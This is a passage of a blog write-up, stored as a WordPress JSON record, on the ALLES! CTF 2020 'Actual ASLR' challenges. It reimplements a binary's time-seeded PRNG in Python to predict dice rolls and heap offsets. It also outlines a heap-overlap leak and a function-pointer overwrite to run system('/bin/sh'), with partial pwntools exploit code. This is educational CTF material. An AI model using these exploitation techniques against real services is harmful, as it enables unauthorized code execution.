{"id":2027,"date":"2020-09-06T20:01:02","date_gmt":"2020-09-06T20:01:02","guid":{"rendered":"https:\/\/devel0pment.de\/?p=2027"},"modified":"2020-09-06T20:36:11","modified_gmt":"2020-09-06T20:36:11","slug":"alles-ctf-2020-actual-aslr-1-2","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=2027","title":{"rendered":"ALLES! CTF 2020 &#8211; Actual ASLR 1\/2"},"content":{"rendered":"\n<style>code { color:#0000ff;}<\/style>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"856\" height=\"93\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/alles_logo.png\" alt=\"\" class=\"wp-image-2029\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/alles_logo.png 856w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/alles_logo-300x33.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/alles_logo-768x83.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The <a rel=\"noreferrer noopener\" href=\"https:\/\/play.allesctf.net\/\" target=\"_blank\">ALLES! CTF<\/a> (<a rel=\"noreferrer noopener\" href=\"https:\/\/ctftime.org\/event\/1091\" target=\"_blank\">ctftime.org<\/a>) took place from 04\/09\/2020, 16:00 UTC to 06\/09\/2020, 19:00 UTC with a variety of interesting, creative challenges.<\/p>\n\n\n\n<p>Within this article I want to share my writeup on the two challenges <code>Actual ASLR 1<\/code> and <code>2<\/code>, which were authored by <a rel=\"noreferrer noopener\" href=\"https:\/\/www.youtube.com\/channel\/UClcE-kVhqyiHCcjYwcpfj9w\" target=\"_blank\">LiveOverflow<\/a>. What I especially liked about the challenge(s) is that you could make progression step by step even getting a first flag on the way to a full shell, which grants access to the second flag.<\/p>\n\n\n\n<p>The article is divided into the following sections:<\/p>\n\n\n\n<p>\u2192<a href=\"#aaslr1\">Actual ASLR 1<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#binary\">Binary<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#ranalg\">Random Algorithm<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#reimpl\">Reimplementation In Python<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#firstflag\">First Flag<\/a><\/p>\n\n\n\n<p>\u2192<a href=\"#aaslr2\">Actual ASLR 2<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#heap\">Custom Heap<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#vuln\">Vulnerability<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#heapleak\">Heap Leak<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#imgleak\">Image Base Leak<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#overwrite\">Overwriting Function Pointer<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"#final\">Final Exploit<\/a><\/p>\n\n\n\n<hr>\n\n\n\n<!--more-->\n\n\n\n<p><\/p>\n\n\n\n<h1 id=\"aaslr1\">Actual ASLR 1<\/h1>\n\n\n\n<h3 id=\"binary\">Binary<\/h3>\n\n\n\n<p>The provided zip archive for both challenges is the same. The challenges differ in the goal we have to achieve. The zip archive contains a <code>Dockerfile<\/code>, <code>ynetd<\/code>, both flags and the actual binary called <code>aaslr<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ unzip aaslr.zip\nArchive:  aaslr.zip\n  inflating: aaslr\n  inflating: Dockerfile\n extracting: flag1\n extracting: flag2\n  inflating: ynetd\n<\/pre><\/div>\n\n\n<p>The binary is a dynamically linked 64 bit ELF file with all protections enabled:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ file aaslr\naaslr: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID&#x5B;sha1]=1caebb4c4c5b9bb141671f3721daaabd26f49312, for GNU\/Linux 3.2.0, not stripped\nkali@kali:~\/ctf\/alles20\/aaslr$ checksec aaslr\n&#x5B;*] &#039;\/home\/kali\/ctf\/alles20\/aaslr\/aaslr&#039;\n    Arch:     amd64-64-little\n    RELRO:    Full RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n<\/pre><\/div>\n\n\n<p>When running the binary a menu with 4 options is displayed:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ .\/aaslr\nWelcome To The Actual-ASLR (AASLR) Demo\n  1. throw dice\n  2. create entry\n  3. read entry\n  4. take a guess\n\nSelect menu Item:\n<\/pre><\/div>\n\n\n<p>The first option <code>1. throw dice<\/code> simply generates a random number between 1 and 6:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nSelect menu Item:\n1\n&#x5B;&gt;] Threw dice: 3\n...\nSelect menu Item:\n1\n&#x5B;&gt;] Threw dice: 4\n...\n<\/pre><\/div>\n\n\n<p>The second option <code>2. create entry<\/code> allows us to enter some data:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nSelect menu Item:\n2\nEnter your data (max length: 100):\nAAAAAAAAAAAAA\n&#x5B;&gt;] Created new entry at index 0\n...\n<\/pre><\/div>\n\n\n<p>With the third option <code>3. read entry<\/code> we can read this data:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nSelect menu Item:\n3\nEnter entry index (max: 0):\n0\n&#x5B;&gt;] 0. AAAAAAAAAAAAA\n...\n<\/pre><\/div>\n\n\n<p>When selecting the fourth option <code>4. take a guess<\/code> we have to guess the subsequent 15 dice rolls:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nSelect menu Item:\n4\n(1\/16) guess next dice roll:\n1\n(2\/16) guess next dice roll:\n2\n...\n(14\/16) guess next dice roll:\n2\n(15\/16) guess next dice roll:\n3\n&#x5B;!] WRONG!\n<\/pre><\/div>\n\n\n<p>A quick look at the decompilation of the related function <code>take_guess<\/code> in <code>ghidra<\/code> reveals that we have to make all 15 guesses correct in order to retrieve the first flag (which is actually called <code>flag2<\/code>):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"588\" height=\"723\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_01.png\" alt=\"\" class=\"wp-image-2033\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_01.png 588w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_01-244x300.png 244w\" sizes=\"(max-width: 588px) 100vw, 588px\" \/><\/figure>\n\n\n\n<h3 id=\"ranalg\">Random Algorithm<\/h3>\n\n\n\n<p>In order to make the correct guesses, we have to understand how the random numbers are generated.<\/p>\n\n\n\n<p>Within the <code>main<\/code> function, we can see that a custom function called <code>aaslr_malloc<\/code> is obviously used to allocate memory:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"381\" height=\"541\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_02.png\" alt=\"\" class=\"wp-image-2036\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_02.png 381w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_02-211x300.png 211w\" sizes=\"(max-width: 381px) 100vw, 381px\" \/><\/figure>\n\n\n\n<p>This function initializes a custom heap on the first allocation:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"382\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_03.png\" alt=\"\" class=\"wp-image-2037\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_03.png 584w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_03-300x196.png 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p>We will get to the actual allocation when solving the second challenge.<\/p>\n\n\n\n<p>The <code>init_heap<\/code> function uses <code>mmap<\/code> in order to allocate <code>0x10000<\/code> bytes for the custom heap. After this <code>time<\/code> is called, which retrieves the seconds past since January 1, 1970. This value is passed to the <code>raninit<\/code> function:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"225\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04.png\" alt=\"\" class=\"wp-image-2038\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04.png 388w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04-300x174.png 300w\" sizes=\"(max-width: 388px) 100vw, 388px\" \/><\/figure>\n\n\n\n<p><code>raninit<\/code> is the initialization function for the custom random generator. The generator uses four qwords (8 byte) stored in <code>RANCTX<\/code>. The first qword is initialized with the static value <code>0xf1ea5eed<\/code>. The other three qwords are initialized with the value passed (seconds returned from the call to <code>time<\/code>). After this the function <code>ranval<\/code> is called <code>0x14(=20)<\/code> times:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"334\" height=\"361\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_05.png\" alt=\"\" class=\"wp-image-2039\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_05.png 334w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_05-278x300.png 278w\" sizes=\"(max-width: 334px) 100vw, 334px\" \/><\/figure>\n\n\n\n<p>The function <code>ranval<\/code> performs some mathematical operations on the qwords stored in <code>RANCTX<\/code> and finally returns the actual random number (qword):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"313\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_06.png\" alt=\"\" class=\"wp-image-2040\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_06.png 749w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_06-300x125.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/figure>\n\n\n\n<p>At last we have to take a look at the <code>throw_dice<\/code> function, which is used in <code>take_guess<\/code> in order to determine the outcome of a dice roll. Not very surprisingly the function uses <code>ranval<\/code> in order to generate a random value in the range from 1 to 6:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"373\" height=\"181\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_07.png\" alt=\"\" class=\"wp-image-2041\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_07.png 373w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_07-300x146.png 300w\" sizes=\"(max-width: 373px) 100vw, 373px\" \/><\/figure>\n\n\n\n<h3 id=\"reimpl\">Reimplementation In Python<\/h3>\n\n\n\n<p>After we have comprehended how the random numbers are generated, we can reimplement the algorithm in python in order to automatically make the correct guesses. (At first I solved the challenge by simply piping <code>4<\/code> (<code>take a guess<\/code>) and the output of the first 15 rolls from the local execution of binary to the challenge server. This is sufficient, if the local machine&#8217;s time is adjusted to the server&#8217;s time. Though the python reimplementation will come in handy especially in the second challenge.)<\/p>\n\n\n\n<p>For the python reimplementation we can basically transcribe the decompiled C code into python. Just a few notable remarks here:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>In order to get the seconds since January 1, 1970 we could use a corresponding python function. Though I stuck to the native C function using <code>ctypes<\/code> just to be sure.<\/li><li>The mathematical operations performed within the <code>ranval<\/code> function are carried out on qwords. The variables in python are not limited to a qword, thus we have to enforce this limitation by applying the mask <code>0xffffffffffffffff<\/code> to all operations, which potentially exceed the 8 byte qword bounds.<\/li><li>We must take into consideration that the two calls to <code>aaslr_malloc<\/code> within the <code>main<\/code> function of the binary trigger a call to <code>ranval<\/code> each.<\/li><\/ul>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nimport ctypes\n\nRANCTX = &#x5B;0,0,0,0]\n\ndef init_heap():\n  libc = ctypes.cdll.LoadLibrary(&#039;\/lib\/x86_64-linux-gnu\/libc.so.6&#039;)\n  n = libc.time(0)\n  raninit(n)\n\ndef raninit(n):\n  global RANCTX\n  RANCTX&#x5B;0] = 0xf1ea5eed\n  RANCTX&#x5B;1] = n\n  RANCTX&#x5B;2] = n\n  RANCTX&#x5B;3] = n\n  i = 0\n  while (i &lt; 0x14):\n    ranval()\n    i += 1\n\ndef ranval():\n  mask = 0xffffffffffffffff\n  a = (RANCTX&#x5B;0] - (((RANCTX&#x5B;1]&gt;&gt;5) | (RANCTX&#x5B;1]&lt;&lt;0x1b)) &amp; mask) &amp; mask)\n  RANCTX&#x5B;0] = (RANCTX&#x5B;1] ^ ((RANCTX&#x5B;2]&gt;&gt;0xf) | (RANCTX&#x5B;2]&lt;&lt;0x11))) &amp; mask\n  b = (RANCTX&#x5B;0] + a) &amp; mask\n  RANCTX&#x5B;1] = (RANCTX&#x5B;2] + RANCTX&#x5B;3]) &amp; mask\n  RANCTX&#x5B;2] = (RANCTX&#x5B;3] + a) &amp; mask\n  RANCTX&#x5B;3] = b\n  return b\n\ndef throw_dice():\n  return (ranval()%6)+1\n\ninit_heap()\nranval() # aaslr_malloc(8)\nranval() # aaslr_malloc(0x7f8)\nfor i in range(10): print(throw_dice())\n<\/pre><\/div>\n\n\n<p>Although a comparison of the 8 byte generated random numbers would be more precise, let&#8217;s quickly compare the first 10 rolls:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ python3 -c &#039;print(&quot;1\\n&quot;*10)&#039;|.\/aaslr|grep dice:|cut -d&#039; &#039; -f4 &gt; out1.txt; .\/aaslr1.py &gt; out2.txt\nkali@kali:~\/ctf\/alles20\/aaslr$ pr -m -t out1.txt out2.txt\n4                                   4\n4                                   4\n5                                   5\n3                                   3\n5                                   5\n6                                   6\n4                                   4\n2                                   2\n3                                   3\n5                                   5\n<\/pre><\/div>\n\n\n<p>Accordingly our python script should be fine.<\/p>\n\n\n\n<h3 id=\"firstflag\">First Flag<\/h3>\n\n\n\n<p>In order to solve the first challenge we only need a little adjustment:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nprint(&#039;4&#039;)\nfor i in range(0xf): print(throw_dice())\n<\/pre><\/div>\n\n\n<p>At first we are sending a <code>4<\/code>, in order to select the menu option <code>take a guess<\/code>. After this we output the first <code>0xf = 15<\/code> dice rolls.<\/p>\n\n\n\n<p>Before running the script make sure that your local machine&#8217;s time is correctly set. After verifying this we can simply pipe the output of the script to <code>ncat<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ .\/aaslr1.py | ncat --ssl 7b0000008df55363d3b799a5.challenges.broker3.allesctf.net 1337\nWelcome To The Actual-ASLR (AASLR) Demo\n  1. throw dice\n  2. create entry\n  3. read entry\n  4. take a guess\n\nSelect menu Item:\n(1\/16) guess next dice roll:\n(2\/16) guess next dice roll:\n(3\/16) guess next dice roll:\n(4\/16) guess next dice roll:\n(5\/16) guess next dice roll:\n(6\/16) guess next dice roll:\n(7\/16) guess next dice roll:\n(8\/16) guess next dice roll:\n(9\/16) guess next dice roll:\n(10\/16) guess next dice roll:\n(11\/16) guess next dice roll:\n(12\/16) guess next dice roll:\n(13\/16) guess next dice roll:\n(14\/16) guess next dice roll:\n(15\/16) guess next dice roll:\n&#x5B;&gt;] CORRECT! You should go to Vegas.\nALLES{ILLEGAL_CARD_COUNTING!_BANNED}\n\n<\/pre><\/div>\n\n\n<p>The first flag is <code>ALLES{ILLEGAL_CARD_COUNTING!_BANNED}<\/code>.<\/p>\n\n\n\n<h1 id=\"aaslr2\">Actual ASLR 2<\/h1>\n\n\n\n<h3 id=\"heap\">Custom Heap<\/h3>\n\n\n\n<p>The goal of the second challenge is to actually exploit the binary. Thus it&#8217;s time to take a deeper look at the custom heap implementation.<\/p>\n\n\n\n<p>We have already seen that the custom heap is initialized by allocating <code>0x10000<\/code> bytes using <code>mmap<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"225\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04.png\" alt=\"\" class=\"wp-image-2038\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04.png 388w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_04-300x174.png 300w\" sizes=\"(max-width: 388px) 100vw, 388px\" \/><\/figure>\n\n\n\n<p>The function used to allocate chunks within the heap is called <code>aaslr_malloc<\/code>. This function calls <code>ranval<\/code> in order to retrieve a random offset within the <code>0x10000<\/code> bytes. The modulo operand <code>0x10000<\/code> is subtracted by the amount of bytes requested in order to serve a memory chunk sufficiently large enough:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"382\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_08.png\" alt=\"\" class=\"wp-image-2043\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_08.png 584w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_08-300x196.png 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p>Within the main function there are already two allocations. The memory of the first one is used to store pointers of the functions corresponding the menu options (8 bytes are allocated here, though I guess it should have been 8*5 = 40, since 5 function pointers are being stored here). The secondly allocated chunk (<code>0x7f8<\/code> byte) is used to store pointers for subsequent allocations to the custom heap in order to store the data, which can be entered by the user:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"334\" height=\"267\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_10.png\" alt=\"\" class=\"wp-image-2044\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_10.png 334w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_10-300x240.png 300w\" sizes=\"(max-width: 334px) 100vw, 334px\" \/><\/figure>\n\n\n\n<p>So basically the custom heap looks like this after the first two allocations:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"423\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_09.png\" alt=\"\" class=\"wp-image-2045\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_09.png 877w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_09-300x145.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_09-768x370.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Please notice that the allocated chunks are not aligned to any boundary. Thus the address of the first chunk could be <code>...ef<\/code> and the second <code>...05<\/code>.<\/p>\n\n\n\n<p>Using the option <code>2. create entry<\/code> we can create additional chunks. This is done within the function <code>create_entry<\/code>, which allocates <code>100<\/code> bytes and stores the pointer at an incrementing index within <code>ENTRY<\/code>. After this <code>read_input<\/code> is called, which simply reads <code>n<\/code> bytes from stdin and replaces the closing newline with a null byte. After the data is read, it is moved qword by qword to the allocated chunk:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"811\" height=\"584\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_12.png\" alt=\"\" class=\"wp-image-2046\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_12.png 811w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_12-300x216.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_12-768x553.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>After creating two additional entries the heap might look like this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"423\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_11.png\" alt=\"\" class=\"wp-image-2047\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_11.png 877w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_11-300x145.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_11-768x370.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<h3 id=\"vuln\">Vulnerability<\/h3>\n\n\n\n<p>After we have identified how the custom heap is working we still need a vulnerability, in order to exploit the binary. In this case the vulnerability is quite obvious. The custom heap lacks any form of allocation tracking. Because of this it could possibly happen, that subsequent allocations overlap each other:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"423\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_13.png\" alt=\"\" class=\"wp-image-2048\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_13.png 877w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_13-300x145.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_13-768x370.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>If we would manage to retrieve a chunk, which overlaps with the function pointers, we could gain code execution. With the <code>error_case<\/code> function the main loop already contains a perfect candidate, we should aim at overwriting. If an invalid menu option is entered, this function is called with the first parameter being the invalid string entered:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"571\" height=\"695\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_14.png\" alt=\"\" class=\"wp-image-2049\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_14.png 571w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_14-246x300.png 246w\" sizes=\"(max-width: 571px) 100vw, 571px\" \/><\/figure>\n\n\n\n<p>If we overwrite the function pointer with <code>system<\/code> and enter <code>\/bin\/sh<\/code> in the main menu, <code>system(\"\/bin\/sh\")<\/code> is executed and we gain a shell.<\/p>\n\n\n\n<p>Retrieving the offset of the function pointers within the custom heap is no problem. Since we have already proven with the first challenge, that we can produce the same random numbers as the server, we can also predict the offset of each allocated chunk within the custom heap. What actually is a problem here, is the ASLR performed by the kernel. The binary is compiled with <code>PIE<\/code>, which means that we don&#8217;t know the image base address including the absolute address of the functions.<\/p>\n\n\n\n<p>My first hope was that a partial overwrite could help. Though at a second glance this did not seem to be a promising approach, since the data read is moved qword-by-qword and (even more bad) terminated with a null byte. Accordingly we need to a leak.<\/p>\n\n\n\n<h3 id=\"heapleak\">Heap Leak<\/h3>\n\n\n\n<p>In order to read data the menu option <code>3. read entry<\/code> can be used, which triggers the <code>read_entry<\/code> function. This function reads an integer, which is used as an index into <code>ENTRY<\/code>. The address stored at this index is printed as a string:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"587\" height=\"562\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_15.png\" alt=\"\" class=\"wp-image-2050\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_15.png 587w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_15-300x287.png 300w\" sizes=\"(max-width: 587px) 100vw, 587px\" \/><\/figure>\n\n\n\n<p>Please notice that there are no boundary checks on the entered index. Thus we can also reference pointers outside of <code>ENTRY<\/code>.<\/p>\n\n\n\n<p>Since the <code>read_entry<\/code> function uses a <code>%s<\/code> format specifier to print the data, a null byte terminates the output. Because a null byte is added after the data we enter, we cannot simply allocate a chunk before a pointer and leak it. Instead we can allocate a chunk, which overlaps with an entry in <code>ENTRY<\/code> array. If we then allocate enough chunks until the referenced entry is populated with the corresponding pointer, we can simply leak it:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"423\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_16.png\" alt=\"\" class=\"wp-image-2051\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_16.png 877w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_16-300x145.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_16-768x370.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Let&#8217;s adjust our python script accordingly. At first we should add a few functions, which ease the use of the menu options:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef throw_dice():\n  io.sendline(&#039;1&#039;)\n  io.recvuntil(&#039;Item:&#039;)\n\ndef create_entry(data):\n  io.sendline(&#039;2&#039;)\n  io.sendlineafter(&#039;100):&#039;, data)\n  io.recvuntil(&#039;Item:&#039;)\n\ndef read_entry(idx):\n  io.sendline(&#039;3&#039;)\n  io.sendlineafter(&#039;):&#039;, str(idx))\n  r = io.recvuntil(&#039;\\nWelcome&#039;)&#x5B;:-8]\n  io.recvuntil(&#039;Item:&#039;)\n  return r.split(b&#039;. &#039;)&#x5B;1]\n...\n<\/pre><\/div>\n\n\n<p>Also we add the <code>aaslr_malloc<\/code> function, in order to be able to predict the offset of an allocated chunk:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef aaslr_malloc(n):\n  return ranval() % (0x10000 - n)\n...\n\n<\/pre><\/div>\n\n\n<p>At the beginning we add the steps to initialize the random generator (formerly contained in <code>init_heap<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nlibc = ctypes.cdll.LoadLibrary(&#039;\/lib\/x86_64-linux-gnu\/libc.so.6&#039;)\nn = libc.time(0)\nraninit(n)\n...\n<\/pre><\/div>\n\n\n<p>Using our <code>aaslr_malloc<\/code> function we can determine the offset of both allocations initially made: the function pointers as well as the <code>ENTRY<\/code> pointer array:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nfcn_ptrs = aaslr_malloc(8)\nprint(&#039;fcn_ptrs: &#039; + hex(fcn_ptrs))\nentry    = aaslr_malloc(0x7f8)\nprint(&#039;entry   : &#039; + hex(entry))\n...\n<\/pre><\/div>\n\n\n<p>Now comes the more tricky part. We want to get a chunk, which overlaps with an entry within the <code>ENTRY<\/code> array. Using our <code>aaslr_malloc<\/code> function we can predict the offset of an allocated chunk before actually making the allocation in the target binary. If the local execution of <code>aaslr_malloc<\/code> returns an offset, which does not suffice our needs, we just proceed until we find a suitable offset. Since the amount of allocations in the target binary are limited, we can simply trigger <code>throw_dice<\/code> instead of making an allocation. <code>throw_dice<\/code> calls <code>ranval<\/code>, which proceeds the state of the random generator to the next iteration.<\/p>\n\n\n\n<p>The offset we want to find doesn&#8217;t only need to overlap with an entry, but should also be 8 byte 